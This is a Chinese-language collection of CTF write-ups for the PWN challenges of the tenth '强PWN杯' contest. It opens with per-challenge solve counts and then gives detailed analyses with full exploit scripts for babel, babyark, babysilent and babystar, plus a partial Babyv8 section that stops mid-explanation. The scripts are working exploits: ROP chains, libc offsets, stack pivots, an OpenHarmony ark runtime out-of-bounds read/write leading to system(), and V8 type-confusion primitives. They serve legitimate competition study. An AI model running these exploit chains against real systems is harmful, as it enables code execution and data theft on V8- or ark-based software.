PWN
为深入贯彻习近平总书记关于网络强国的重要思想,特别是习近平总书记关于网络安全工作“四个坚持”的重要指示精神,贯彻落实全国网络安全和信息化工作会议精神,创新网络安全人才培养模式,在中央网信办、河南省人民政府指导下,河南省委网信办、河南省教育厅、郑州市人民政府、信息工程大学、郑州大学联合主办第十届“强PWN杯”全国网络安全挑战赛,并于今日12:00正式完赛。
本次 强PWN杯 线上初赛共41道题目,其中Misc 6道、Crypto 6道、Reverse 3道、 PWN 17道 、Web 9道。按比赛解题总榜数据,各题解出队伍数如下:
-
Misc(6道)
-
宇宙微波背景辐射:801队
-
0perator:285队
-
NeuronShuffle:630队
-
谍影重重7:406队
-
Dreambound:429队
-
问卷调查:895队(非技术题)
-
Crypto(6道)
-
frozen:874队
-
vmshare:899队
-
hoRRibleRing:606队
-
zkRSA:210队
-
crp-12025:272队
-
crp-11741:0队
-
Reverse(3道)
-
ELFStudy:1434队
-
firmware:438队
-
license:473队
-
PWN(17道)
-
babel:414队
-
babyark:399队
-
babysilent:538队
-
babystar:329队
-
Babyv8:282队
-
bad_puppet:180队
-
Blackout:167队
-
drywell:215队
-
easytl:1059队
-
HESEUS:196队
-
oldsvr:605队
-
ez_qemu:191队
-
CanonicoPWN:264队
-
hexachord:10队
-
What The Fox!:161队
-
shadowledger:273队
-
Ironclad:60队
-
Web(9道)
-
BlindReview:12队
-
cwp:1340队
-
ezphp:760队
-
ezstar:279队
-
ezcms:467队
-
Crack a Little Smile:231队
-
fault_web_and_fault_hash:133队
-
vaultlink:1065队
-
vaultlink_revenge:150队
第十届“强PWB杯” PWN 方向题解合集
本文整理本次比赛PWN方向的17道题,按题目顺序给出分析与关键利用代码。
PWN1-babel
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+靶机)
|
|
附件
|
babel.zip(babel可执行文件、Dockerfile)
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
babel 是OCaml编译的自研字节码虚拟机,stripped、PIE、Full RELRO、NX。 main (0xd710)初始化后装 PR_SET_NO_NEW_PRIVS 与seccomp,白名单为 read write close openat exit exit_group brk rt_sigprocmask ,无 execve ,预期用ROP读 /flag 。主循环 read(0,4) 取长度、 read(0,len) 读进0x65e40的64KB缓冲区,再调 babel_dispatch (0xdb80);值栈、256个寄存器与1MB堆跨chunk保留,利用可拆成多次投递。分发表在0x75f60,合法输入字节仅 0x00..0x19 、 0x20 、 0xfe 、 0xff 。
值编码 (堆偏移<<4)|tag :1 string、3 array、5 tuple、7 ref、9 buffer、偶数为整数( n>>1 )。对象头 +0 为type(1=array、2=tuple、6不被扫描)、 +8 size、 +0x10 count、 +0x14 len|0x80000000、 +0x18 dataOff;tag-9数据在另一块4MB区(指针在0x76270)。关键指令: 0x01 push imm64、 0x08 造array、 0x0a/0x0b 元素get/set、 0x14 造ref并将 +0x18 写绝对地址 base+0x59098+8*kind 、 0x16 alloc、 0x17/0x18 经 ext[slot] 读写、 0x19 设ext、 0x20 调宿主函数。3个宿主函数( base+0x11de0 起)会回调dispatch并在堆上分配对象。
GC在0xe710, cursor+size+0x10>cursor+0x8000 时触发,根为值栈(0x97290,个数在0x97288)、寄存器区0x9f290与临时区。只标记type1/2的对象后整体左移压缩并重写根值。type6不被扫描,其子对象即使有引用也判成垃圾;被压缩对象留在不扫描区的陈旧偏移不清理,压缩后的活对象可能正好落到该偏移上。
漏洞一,空串1字节越界: 0x31 在长度为0时把size算成0x10,却写长度 1|0x80000000 、 dataOff=off+0x20 ,指向下一个对象的header。 sset(0) 通过 idx 检查,可把下一个array的type改成6,让GC跳过它的元素。
漏洞二,setext检查写错: 0x1e 本应校验 +0x14==0xffffffff ,实际只查 tag==9 并要求 +0x14==-1 、 +0x18<0x10 。alloc出的tag-9对象 +0x14 是size,正常路径走不通;让tag-9值指向array( +0x14 即-1、首元素偏移<0x10)即可通过, ext[slot]={addr,0x100000} , extget/extset 变成任意地址按字节读写。
3. 解题过程
-
泄漏PIE。chunk1在0x00造
U=array(1)并丢弃引用,0x20造R=ref(1)(+0x18=base+0x590a0),0x40造空串E(dataOff=0x60),0x60造V=array(1)(元素0为U)。用E把V的type改成6,压约32KB字符串触发GC:U无根被压缩掉,R从0x20左移到0x00,V[0]的旧偏移0正好指向R。 -
chunk2执行
pushr(3); getf(0); getf(0); raw,V[0]取出(0<<4)|3,再取元素0读到R+0x18=base+0x590a0,base=leak-0x590a0,校验页对齐。 -
同法制造tag9指向array:0xC0造
B=alloc(0x100),0xC0+0x20造T=array(1),0xC0+0x40造空串E2(dataOff=0xC0+0x60),0xC0+0x60造V2=array(1)(元素0为B);丢B的引用、用E2把V2的type改成6,pushstr(b'Y'*0x8100)触发GC后B死亡、T落到0xC0,V2[0]读出(0xC0<<4)|9。 -
任意读写。混淆值留在寄存器7,每次
pushr(7); getf(0); pushraw(addr); setext重设ext[0],再批量extget(i)/extset(i)。 -
泄漏libc。
read@GOT在base+0x58d30,读出后减0x11bd20得libc基址,回读\x7fELF校验。 -
拼ROP。链为
close(0); open("/flag"); gets(buf); puts(buf); exit(0):关fd0后open返回0,gets避开被open破坏的rdx。命令串、缓冲区与链写在base+0x100000的.bss。 -
劫持控制流。值栈个数在
base+0x97288,在U=base+0x97290+8*count伪造ucontext:+0xa0写链地址、+0xa8写ret;把ext表的宿主函数指针base+0x75ec0改成setcontext+0x3d(mov rsp,[rdx+0xa0]),调用时rdx正是&value_stack[count]。发op 0x29、fn=0的chunk触发,flag从stdout输出。
|
名称
|
值
|
用途
|
|---|---|---|
|
ref[0x18]
|
base+0x590a0
|
PIE泄漏
|
|
read@GOT
|
base+0x58d30
|
libc泄漏
|
|
count/值栈
|
base+0x97288 / 0x97290
|
伪造ucontext
|
|
ext指针
|
base+0x75ec0
|
setcontext+0x3d
|
|
read / setcontext
|
0x11bd20 / 0x4a960
|
基址、pivot
|
|
pop rdi / pop rsi / ret
|
0x10c08d / 0x110b7d / 0x10c08e
|
传参、对齐
|
|
open / close / gets / puts / exit
|
0x11b3f0 / 0x1169b0 / 0x87160 / 0x87cc0 / 0x47ba0
|
ROP
|
4. PoC
from pwn import *
L = dict(read=0x11bd20, pivot=0x4a960 + 0x3d, pop_rdi=0x10c08d, pop_rsi=0x110b7d,
ret=0x10c08e, open=0x11b3f0, close=0x1169b0, gets=0x87160,
puts=0x87cc0, exit=0x47ba0)
p = remote(HOST, PORT)
pushraw = lambda v: b"\x01" + p64(v)
pushstr = lambda s: b"\x02" + p32(len(s)) + s
arr = lambda n: b"\x08" + bytes([n])
getf = lambda i: b"\x0a" + bytes([i])
sset = lambda i: b"\x0d" + bytes([0, i])
mkref = lambda k: b"\x14" + bytes([k])
alloc = lambda n: b"\x16" + p32(n)
extget = lambda i: b"\x17" + p32(i)
extset = lambda i, b: b"\x18" + p32(i) + bytes([b])
setext = lambda: b"\x19\x00"
rget = lambda r: b"\x10" + bytes([r])
rset = lambda r: b"\x11" + bytes([r])
def send(*ops):
code = b"".join(ops)
p.send(p32(len(code)) + code)
def rd(addr, n):
send(rget(7), getf(0), pushraw(addr), setext(),
*[x for i in range(n) for x in (extget(i), b"\x13")])
return bytes(u64(p.recvn(8)) >> 1for _ in range(n))
def wr(addr, data):
send(rget(7), getf(0), pushraw(addr), setext(),
*[extset(i, c) for i, c in enumerate(data)])
## 1) 改type + GC,留下指向ref的陈旧偏移
send(pushraw(0), arr(1), rset(0), mkref(1), rset(1), pushstr(b""), rset(2),
rget(0), arr(1), rset(3), pushraw(0), rset(0),
rget(2), pushraw(6), sset(0), pushstr(b"Z" * 0x7f80))
send(rget(3), getf(0), getf(0), b"\x13")
base = u64(p.recvn(8)) - 0x590a0
assert base & 0xfff == 0
## 2) tag9->array混淆
send(b"\xfe")
send(pushstr(b"S" * 0x100), alloc(0x100), rset(4),
pushraw(0), arr(1), rset(5), pushstr(b""), rset(6),
rget(4), arr(1), rset(7), pushraw(0), rset(4),
rget(6), pushraw(6), sset(0), pushraw(0), rset(6),
pushstr(b"Y" * 0x8100))
send(rget(7), getf(0), b"\x13")
assert u64(p.recvn(8)) & 0xf == 9
## 3) libc基址
libc = u64(rd(base + 0x58d30, 8)) - L["read"]
assert libc & 0xfff == 0and rd(libc, 4) == b"\x7fELF"
## 4) ROP
r = lambda k: libc + L[k]
chain, buf = base + 0x100000, base + 0x100200
rop = flat(r("pop_rdi"), 0, r("close"), r("pop_rdi"), chain, r("pop_rsi"), 0,
r("open"), r("pop_rdi"), buf, r("gets"), r("pop_rdi"), buf,
r("puts"), r("exit"), 0)
wr(chain, b"/flag\x00".ljust(0x40, b"\x00") + rop)
## 5) 伪造ucontext,劫持ext指针
uc = base + 0x97290 + 8 * u64(rd(base + 0x97288, 8))
wr(uc + 0x88, p64(0x200) + b"\x00" * 0x10 + p64(chain) + p64(r("ret")))
wr(base + 0x75ec0, p64(libc + L["pivot"]))
send(b"\x20" + p32(0) + p32(0))
print(p.recvall(timeout=3).decode())
PWN2-babyark
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+靶机)
|
|
附件
|
babyark.zip(ark_js_vm、libark_jsruntime.so、libc.so.6、ld-linux-x86-64.so.2)
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
ark_js_vm 是官方样例宿主,只做 JSNApi::CreateJSVM 与 JSNApi::Execute ; libark_jsruntime.so 是OpenHarmony 7.0/API24运行时,abc版本24.0.0.0,libc为Ubuntu 24.04的2.39。运行时用 --asm-interpreter ,JIT关闭,无seccomp与namespace。 .abc 是panda格式,加载只做结构解析,没有验证器, CodeData 的寄存器数、槽位与指令立即数之间无交叉校验。
漏洞在 ldlexvar / stlexvar ( interpreter_assembly.cpp ): level 与 slot 直接取自指令立即数, GetProperties(slot) 转成 TaggedArray::Get(slot+3) ,边界检查只在release被裁掉的 ASSERT 里,实际地址为 env+24+(slot+3)*8 = env+40+8*slot 。短指令 0x8a/0x8b 的slot为8位,wide形式(前缀 0xfd 加 0x0c/0x0d )可达65535,一条指令即以env为基址向前约512KB读写任意tagged value(对象指针、整数或double)。堆里各类对象连续分布,越界窗口能命中同一次分配序列的固定位置。
LexicalEnv: +0 hclass、 +8 length、 +16 globalEnv、 +24 parentEnv、 +32 scopeInfo、 +40 env[0]。对象布局:ECMAObject hash@8 (SIZE=16);JSArrayBuffer data@32,byteLength@40 ;JSTypedArray viewedBuffer@32,byteLength@40,byteOffset@44,arrayLength@48,type@52 ;ByteArray arrayLength@8,byteLength@12,data@16 (内联);TaggedArray length@8,extraLength@12,data@16 ;JSNativePointer externalPointer@8,deleter@16,data@24 。 u8.viewedBuffer 存的是 ab 对象指针,取元素时才经 ab.data → JSNativePointer.externalPointer ,所以改 ab.data 不影响 u8 对 ab 的引用, byteLength 也拦不住伪造指针; ByteArray 数据内联在 +16 ,不会被GC搬走,可当伪造对象工作区。
3. 解题过程
-
用
es2abc编译模板abc:outer()内用被闭包捕获的secret强制生成LexicalEnv,依次分配scr=new Uint8Array(0x200)(堆内ByteArray,数据内联)、ab=new ArrayBuffer(0x100)、u8=new Uint8Array(ab)、vic=new ArrayBuffer(0x100),再定义4个引用局部变量的探针p0~p3;p3带参数并做加法,以分配到实参寄存器v4。bundle形式下默认entry即第一个record。 -
闭包变量按声明顺序进env的slot,布局:slot 5为
scr的ByteArray对象,slot 14为scr数据起点(env+40+8*14落在内联数据里),slot 82为ab.data,slot 92为ab对象指针。 -
打补丁。指令编码
ldlexvar=8a、stlexvar=8b、lda v8=60、return=64,level恒0。前三个探针体以ldlexvar 0,0; sta v0(3c 00 61 00)开头,按出现顺序即p0~p2;p3用62 01 00 00 00 61 00 62 02定位。替换为p0: ldlexvar 0,5; stlexvar 0,14、p1: ldlexvar 0,14; stlexvar 0,82、p2: ldlexvar 0,92; stlexvar 0,14、p3: lda v4; stlexvar 0,14,长度对齐。 -
伪造NP:
p0()取回B,假NP放D=B+16(scratch内联数据),D+8写目标地址;p3(ab)得Aab,wr(0,D); wr(8,Aab); p1()令ab.data指向D,u8窗口落在ab本身。之后只改scratch+8换目标,不能再动ab.data。 -
泄漏:
wr(8,Avic); rdu(32)得vic的NP地址;窗口移到该NP后rdu(8)得native缓冲CB(ROP载体),rdu(16)得deleter=FreeBufferFunc,减0x2504b40得libark;读libark+0x2acbbf8的execv@got减0xef010得libc,页对齐失败则改用free@got(0x2ac07f8)减0xade30。GOT在GNU_RELRO内只读。 -
析构迁移:
DestroyJSVM→~EcmaVM→ClearNativePointerList()对每个NP调Destroy(),执行deleter(env, externalPointer, data),data在rdx。在CB写命令串与pop rdi;ret+system链,把deleter改成libc+0x5ef6f(mov rsp,rdx;ret)、data=CB,析构时栈切到CB。按(data+32)%16==8决定是否垫ret,payload也不能抛异常,否则走不到NP析构。
|
名称
|
值
|
|---|---|
|
slot 5/14/82/92
|
scr对象 / scr数据 /
ab.data / ab |
FreeBufferFunc |
libark+0x2504b40
|
execv@got
/
free@got |
libark+0x2acbbf8 / libark+0x2ac07f8
|
execv
/
free |
libc+0xef010 / libc+0xade30
|
system
/
pop rdi; ret / ret / mov rsp,rdx; ret |
0x58750 / 0x10c08d / 0x28a92 / 0x5ef6f
|
4. PoC
function outer() {
let secret = 111; // 生成LexicalEnv
let scr = newUint8Array(0x200);
let ab = newArrayBuffer(0x100);
let u8 = newUint8Array(ab);
let vic = newArrayBuffer(0x100);
let p0 = function(){ return secret; }, p1 = function(){ return secret; };
let p2 = function(){ return secret; };
let p3 = function(x){ let t = 1; t = t + 2; t = t + 3; return x; };
return [p0, p1, p2, p3, scr, ab, u8, vic];
}
let g = outer(), p0 = g[0], p1 = g[1], p2 = g[2], p3 = g[3];
let scr = g[4], ab = g[5], u8 = g[6], vic = g[7];
function rd(o){let v=0,m=1;for(let i=0;i<8;i++){v+=scr[o+i]*m;m*=256;}return v;}
function wr(o,v){let m=1;for(let i=0;i<8;i++){scr[o+i]=Math.floor(v/m)%256;m*=256;}}
function rdu(o){let v=0,m=1;for(let i=0;i<8;i++){v+=u8[o+i]*m;m*=256;}return v;}
function wru(o,v){let m=1;for(let i=0;i<8;i++){u8[o+i]=Math.floor(v/m)%256;m*=256;}}
// 探针:p0=scr进scratch,p1=scratch进ab.data,p3=addrof
p0(); let B = rd(0), D = B + 16;
p3(ab); let Aab = rd(0); p3(vic); let Avic = rd(0);
wr(0, D); wr(8, Aab); p1(); // ab.data=假NP
wr(8, Avic); let vicNP = rdu(32);
wr(8, vicNP); let CB = rdu(8);
let libark = rdu(16) - 0x2504b40;
wr(8, libark + 0x2acbbf8); let libc = rdu(0) - 0xef010;
if (libc % 0x1000) { wr(8, libark + 0x2ac07f8); libc = rdu(0) - 0xade30; }
let POP_RDI = libc + 0x10c08d, RET = libc + 0x28a92;
let SYSTEM = libc + 0x58750, PIVOT = libc + 0x5ef6f;
let pad = ((CB + 32) % 16 == 8) ? [] : [RET];
let rop = [POP_RDI, CB + 0x40].concat(pad, [SYSTEM]);
wr(8, CB);
for (let i = 0; i < rop.length; i++) wru(i * 8, rop[i]);
let cmd = "cat /flag* /home/*/flag* /root/flag* 2>/dev/null";
for (let i = 0; i < cmd.length; i++) u8[0x40+i] = cmd.charCodeAt(i) & 0xff;
u8[0x40+cmd.length] = 0;
wr(8, vicNP);
wru(8, CB); wru(16, PIVOT); wru(24, CB);
PWN3-babysilent
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+靶机)
|
|
附件
|
pwn、wrapper、ld-linux-x86-64.so.2、libc.so.6
|
|
目标
|
nc *
|
Flag:flag{动态容器已脱敏}
2. 题目分析
保护:amd64、PIE、Canary、NX、Full RELRO;seccomp只允许 read 、 exit 、 exit_group 。 open_flag() 在 blind() 前打开 flag ,fd固定为3; blind() 关掉stdout/stderr并装seccomp,靠连接存活与否盲读。
main (0x200452)在 rbp-0x60 放0x58字节名字缓冲区,canary在 rbp-8 ,输入上限0x88,可覆盖canary、saved rbp与saved rip;开头 mov [rbp], rcx 把 __libc_csu_init 存在saved rbp处,作为PIE泄露源。
get_input(dest,count) 逐字节 read(0,&c,1) ,EOF直接 exit(-1) ,读满count或遇换行停止,且不写NUL, printf("Your name is: %s") 会一直打印到内存中下一个0x00。
泄露:第一次名字输入 0x58 个 A 加 B , B 覆盖canary最低字节0x00,printf越过canary打印7字节,再打印 [rbp] 处的地址; canary=b"\x00"+leak[0x59:0x60] , base=u64(leak[0x60:0x68])-0x2005a0 。泄露不足0x60字节就重连。
3. 解题过程
-
第二次名字输入0x88字节:
A*0x58 + canary + p64(B+0x60) + p64(main+0x92) + A*0x18,B=base+0x601080。blind()后leave;ret使rsp=rbp=B+0x60、pop rbp=B、ret到main+0x92(0x2004e4),重走getnum与两次get_input。 -
重入后
getnum读走"136\n"+"A"*11返回136,两次get_input(B,136)写同一blob:stage2.ljust(0x58,b"\0") + canary + p64(B) + p64(leave)。main再leave;ret两次,rsp落到stage2[1]。 -
stage2九个qword:
[0, pop_rdi, dst, pop_rsi_r15, len(payload), 0, get_input, pop_rsp, dst],先get_input(dst,len)读入payload,再由pop rsp切栈到dst,前3个qword被pop r13/r14/r15吃掉。 -
payload:
dst+0为链,dst+0x220为accepted循环,dst+0x320为伪get_input栈帧,dst+0x380为256项函数表,总长0xb80。 -
CSU组装oracle:
pop rbx/rbp/r12/r13/r14/r15;ret(0x2005fa)设rbx=0,rbp=1,r12=read@got,r13=3,r14=buf,r15=count后跳call [r12+rbx*8](0x2005e0)。先read(3,scratch,offset)推进fd3偏移,再read(3,dst+slot*8,1)把flag字节写进下一组CSU pop的rbx槽最低字节(高7字节为0),得rbx=flag_byte;下一组设rbp=loop_area+16,r12=table,call [table+flag_byte*8]:命中跳到leave;ret切到accepted循环,不命中call 0崩溃,连接被关。 -
offset 10特判:
p64(10)最低字节是0x0a,会让get_input提前结束,拆成两次read(3,scratch,5)。 -
accepted循环:
leave后rsp=loop_area+16,pop rbp=0、ret=0x200180,再pop rbp=frame+13、pop rdi=0、pop rsi=frame;pop r15=0,rdx仍为CSU设的1,read@plt读1字节到frame后ret到0x200359做cmp rax,1;je。只有换行能正常收尾(canary校验后leave;ret回loop_area),EOF会exit(-1),其他字节令get_input向NULL写而崩溃,心跳只发换行。 -
判定:一次查询只回答
flag[offset]是否属于集合S。hex位做4次bit测试(S={HEX[i] for i in range(16) if i&(1<)拼出0..15,再用{candidate}精确验证,失败重试5轮后回退7位ASCII。flag{动态容器已脱敏}直接填入。
|
名称
|
偏移
|
|---|---|
main
/
main+0x92 / get_input / getnum |
0x200452/0x2004e4/0x20031c/0x2003aa
|
open_flag
/
blind / __libc_csu_init |
0x200409/0x20042d/0x2005a0
|
|
CSU
pop*6;ret / call [r12+rbx*8] |
0x2005fa/0x2005e0
|
leave;ret
/
pop rdi / pop rsi;pop r15 |
0x20059d/0x200603/0x200601
|
pop rbp;ret
/
get_input 检查 |
0x200180/0x200359
|
read@plt
/
read@got |
0x2000b0/0x600fa8
|
|
伪栈
B / dst /scratch |
0x601080/0x601400/0x6010d0
|
4. PoC
from pwn import *
CSU_POP, CSU_CALL, LEAVE = 0x2005fa, 0x2005e0, 0x20059d
POP_RDI, POP_RSI_R15, POP_RSP, POP_RBP = 0x200603, 0x200601, 0x2005fd, 0x200180
GET_INPUT, READ_PLT, READ_GOT, CSU_INIT = 0x20031c, 0x2000b0, 0x600fa8, 0x2005a0
MAIN_92, B, DST, SCRATCH = 0x2004e4, 0x601080, 0x601400, 0x6010d0
def parse_leak(io):
data = io.recvuntil(b"Now you have")
leak = data.split(b"Your name is: ")[1].rstrip(b"\n")
canary = b"\x00" + leak[0x59:0x60]
base = u64(leak[0x60:0x68].ljust(8, b"\x00")) - CSU_INIT
return canary, base
def build_bit_oracle(base, canary, offset, selector):
dst = base + DST
loop_area, frame, table = dst + 0x220, dst + 0x320, dst + 0x380
scratch = base + SCRATCH
words = [0, 0, 0]
def call_read(fd, addr, cnt):
words.extend([base + CSU_POP, 0, 1, base + READ_GOT, fd, addr, cnt, base + CSU_CALL])
words.extend([0] * 7)
if offset == 10: # 0x0a会截断输入
call_read(3, scratch, 5)
call_read(3, scratch, 5)
elif offset:
call_read(3, scratch, offset)
dest_index = len(words) + 5
call_read(3, 0, 1)
char_index = len(words) + 1
words.extend([base + CSU_POP, 0, loop_area + 16, table, 0, 0, 1, base + CSU_CALL])
words[dest_index] = dst + char_index * 8
chain = flat(words)
stage2 = [0, base + POP_RDI, dst, base + POP_RSI_R15, 0xb80, 0,
base + GET_INPUT, base + POP_RSP, dst]
blob = flat(stage2).ljust(0x58, b"\x00") + canary + p64(base + B) + p64(base + LEAVE)
loop = b"\x00" * 16 + flat(0, base + POP_RBP, frame + 13, base + POP_RDI, 0,
base + POP_RSI_R15, frame, 0, base + READ_PLT, base + 0x200359)
frame_bytes = b"\x00" * 5 + canary + b"\x00" * 8
frame_bytes += p64(base + POP_RSP) + p64(loop_area)
table_bytes = b"".join(p64(base + LEAVE if c in selector else0) for c in range(256))
payload = bytearray(0xb80)
payload[:len(chain)] = chain
payload[0x220:0x220 + len(loop)] = loop
payload[0x320:0x320 + len(frame_bytes)] = frame_bytes
payload[0x380:] = table_bytes
return blob, bytes(payload)
def probe(base, canary, offset, selector):
io = remote(HOST, PORT)
io.recvuntil(b"size")
io.send(b"136\n" + b"A" * 11)
io.recvuntil(b"name: ")
io.send(b"A" * 0x58 + b"B")
c, b = parse_leak(io)
io.send(b"A" * 0x58 + c + p64(b + B + 0x60) + p64(b + MAIN_92) + b"A" * 0x18)
blob, payload = build_bit_oracle(b, c, offset, selector)
io.send(b"136\n" + b"A" * 11)
io.send(blob + blob + payload)
io.send(b"\n" * 4096)
try:
io.recv(timeout=2)
except EOFError:
returnFalse
returnTrue
PWN4-babystar
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
容器题(无附件)
|
|
附件
|
无
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
无附件,信息全来自线上协议:cFS风格卫星测控站,攻击面为三张可上传表 HK.CopyTable 、 HS.MsgActs_Tbl 、 HS.AppMon_Tbl 。表数据被当可信配置执行:拷贝表搬包、动作表发包、监控表触发,CF最终读 /cf/host/flag 回传。
链路帧 kind(1B: C/F/T/E)+length(4B大端)+payload 。 C 帧payload解成CCSDS包按APID投到总线,MID高字节即APID: 0x88 → 0x1888 , 0xB3 → 0x18B3 。写一条 0x18B3 即伪造遥测包。
CCSDS包8B主头+body: 0x1800|apid 、序列控制 0xC000 、长度 len(body)+1 、功能码、校验( 0xFF 初值全包XOR,校验字节按0)。APID 0x04 文件服务,功能码2加载、4校验、5激活; 0x9C 功能码0发送指定MID。
表镜像=64B文件系统头(magic cFE1 )+52B表头( 0,0,len +40B表名)+数据区。数据区固定:CopyTable2048B(镜像2164)、MsgActs24B(140)、AppMon26B(142)。
hk_entry 16B= :input_mid、input_offset、output_mid、output_offset、count。前5条把HK参数搬到 0x089C 作伪装;第6条把 0x1888 偏移8的136B搬到 0x18B3 偏移8,CF请求体落进遥测载荷;第7条把 0x1888 偏移144的1B(carrier尾补的 0x20 )搬到 0x18B3 偏移6功能码,改成长度不符的MM NOOP,只需发出不需执行。
CF class 1请求136B= :类型0、class1、通道1、优先级0、目的EID23、源 /cf/host/flag 、目的名 flag ,尾补 0x20 。class 1无ACK,目的EID取本星23自收自发。动作表记录 =count1、0、4B填充、16B命令包 ccsds(0x9C,0, 。监控表 <20sHHH = NO_SUCH_APP 、0、1、4,激活后首轮监控发现应用不存在即取动作表第0条执行。
HS表上传要过白名单:只看首个整文件PDU的表头名是否为 HK.CopyTable 。先发同长度封面(数据区全0,长度=真实长度-116),再发真内容覆盖同名文件,校验和按真内容。
3. 解题过程
-
上传
hk_cf.tbl,APID0x04加载/cf/uplink/补64B,校验body为\0\0+表名补40B,激活body为表名补40B。 -
封面方式上传
hs_mat_x.tbl,加载、校验、激活HS.MsgActs_Tbl。 -
封面方式上传
hs_amt_x.tbl,加载、校验HS.AppMon_Tbl,暂不激活。 -
发
C帧carrier(APID0x88,137B)等一个HK周期,让0x18B3载荷被搬成CF请求。 -
激活
HS.AppMon_Tbl,命中缺失应用后动作表发出0x18B3,CF读/cf/host/flag并以EID25的F帧回传。 -
收
F帧:payload[0]&0x10且payload[4]==25,偏移payload[7:<端口>]、数据payload[11:],排序拼接后匹配flag。动作表须先激活,AMT激活须晚于carrier搬运,错序则发空包不重试。
4. PoC
import re, socket, struct, sys, time
P = struct.pack
def ccsds(apid, code, body=b""):
p = bytearray(P(">HHHBB", 0x1800 | apid, 0xC000, len(body) + 1, code, 0) + body)
p[7] = 0xFF ^ p[0] ^ p[1] ^ p[2] ^ p[3] ^ p[4] ^ p[5] ^ p[6]
return bytes(p)
def table_image(name, data):
return P(">8I32s", 0x63464531, 8, 64, 0x42, 1, 0, 0, 0, b"Table Image") + P(">III40s", 0, 0, len(data), name.encode()) + data
def hk_entry(im, io, om, oo, n):
return P(" , im, io, om, oo, n)
def build():
ent = [hk_entry(m, 12, 0x89C, 12 + 4 * i, 4) for i, m in enumerate((0x801, 0x805, 0x803, 0x800, 0x804))]
ent += [hk_entry(0x1888, 8, 0x18B3, 8, 136), hk_entry(0x1888, 144, 0x18B3, 6, 1)]
hk = table_image("HK.CopyTable", b"".join(ent).ljust(2048, b"\0"))
mat = table_image("HS.MsgActs_Tbl", P(" , 1, 0, ccsds(0x9C, 0, P(", 0x18B3))))
amt = table_image("HS.AppMon_Tbl", P("<20sHHH", b"NO_SUCH_APP", 0, 1, 4))
cf = P(" , 0, 1, 1, 0, 23, b"/cf/host/flag", b"flag")
return hk, mat, amt, ccsds(0x88, 0, cf + b"\x20")
def cksum(content):
pad = content + b"\0" * (-len(content) % 4)
return sum(int.from_bytes(pad[i:i + 4], "big") for i in range(0, len(pad), 4)) & 0xFFFFFFFF
S, buf, parts = None, b"", {}
def send(kind, payload):
S.sendall(kind + len(payload).to_bytes(4, "big") + payload)
def cfdp(mode, txn, data):
send(b"C", ccsds(4, 0, bytes([mode]) + len(data).to_bytes(2, "big") + b"\0" + bytes([23, txn, 25]) + data))
def put(name, content, txn):
nm = P(">I", len(name)) + name.encode()
cfdp(0x20, txn, b"\x07\0" + P(">I", len(content)) + nm + nm)
for off in range(0, len(content), 480):
cfdp(0x30, txn, P(">I", off) + content[off:off + 480])
cfdp(0x20, txn, b"\x04\0" + P(">II", cksum(content), len(content)))
def step(path, table, code):
body = (b"/cf/uplink/" + path.encode()).ljust(64, b"\0") if code == 2else ((b"\0\0"if code == 4elseb"") + table.encode().ljust(40, b"\0"))
send(b"C", ccsds(4, code, body))
time.sleep(0.8)
def run(path, blob, table, codes, txn, cover=False):
if cover:
put(path, table_image("HK.CopyTable", bytes(len(blob) - 116)), txn)
put(path, blob, txn)
for code in codes:
step(path, table, code)
def frames(wait):
global buf
S.settimeout(0.5)
end = time.time() + wait
while time.time() < end:
try:
buf += S.recv(65536)
except socket.timeout:
pass
while len(buf) >= 5and len(buf) >= 5 + (ln := int.from_bytes(buf[1:5], "big")):
data, buf = buf[5:5 + ln], buf[5 + ln:]
if data[0] & 0x10and data[4] == 25:
parts[int.from_bytes(data[7:<端口>], "big")] = data[11:]
m = re.search(rb"flag\{[^}]+\}", b"".join(parts[k] for k in sorted(parts)))
if m:
return m.group().decode()
hk, mat, amt, carrier = build()
S = socket.create_connection((sys.argv[1], int(sys.argv[2])), timeout=5)
run("hk_cf.tbl", hk, "HK.CopyTable", (2, 4, 5), 200)
run("hs_mat_x.tbl", mat, "HS.MsgActs_Tbl", (2, 4, 5), 201, True)
run("hs_amt_x.tbl", amt, "HS.AppMon_Tbl", (2, 4), 202, True)
send(b"C", carrier)
frames(2)
step("hs_amt_x.tbl", "HS.AppMon_Tbl", 5)
print("flag:", frames(30))
PWN5-Babyv8
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+靶机)
|
|
附件
|
Babyv8.zip(含启用V8 sandbox的d8、两处补丁0006/0007、协议说明)
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
d8 以非root运行, /flag 仅root可读, /readflag 为setuid-root。sandbox与指针压缩同开,JS对象用32位压缩指针,带tag值不是进程地址,故先取cage内读写,再泄PIE劫持控制流。
补丁0006改 TryMergeLoop 与 Phi::promote_post_loop_type :loop phi首输入为 SmiConstant 时跳过重展开,回边与入口取交集后仍留Smi,而回边可带对象,出口被错标Smi,存储按Smi处理。
触发用 put(a,o,n) : x 首轮为常量0、之后取对象o,末尾 a[0]=x 。整数热身让Maglev编译后再传对象, a[0]===o 成立而元素种类仍是 PACKED_SMI_ELEMENTS ,槽内存32位压缩指针。 String(a) 按Smi转成数字, addrOf 用 (n*2+1)>>>0 还原带tag指针; leaker[0]=42 先解COW。
对已晋升的Smi数组 a[0]=x 会生成 StoreFixedArrayElementNoWriteBarrier ,对象指针进老年代却不登记老→新引用,GC扫不到,新生代对象搬走后槽位悬空。
伪JSArray头16B:+0x00 map= 0x0100baa9 、+0x04 properties= 0x7e5 、+0x08 elements= base-8 、+0x0c length= 0x20 (Smi 16)。数据区起点为 addrOf(array)+23 ,按 delta=(stale-1)-dataStart 判断悬空地址是否在区内,8字节对齐两条 u2f 、错位三条跨槽。重占位后 bads[i][0] 即伪数组, fake[1] 改写宿主数组的elements与length;读写原语把 fake[1] 设为 (addr-7)>>>0 ,宿主 [0] 落在目标地址(元素区+8、tag位1,共减7)。
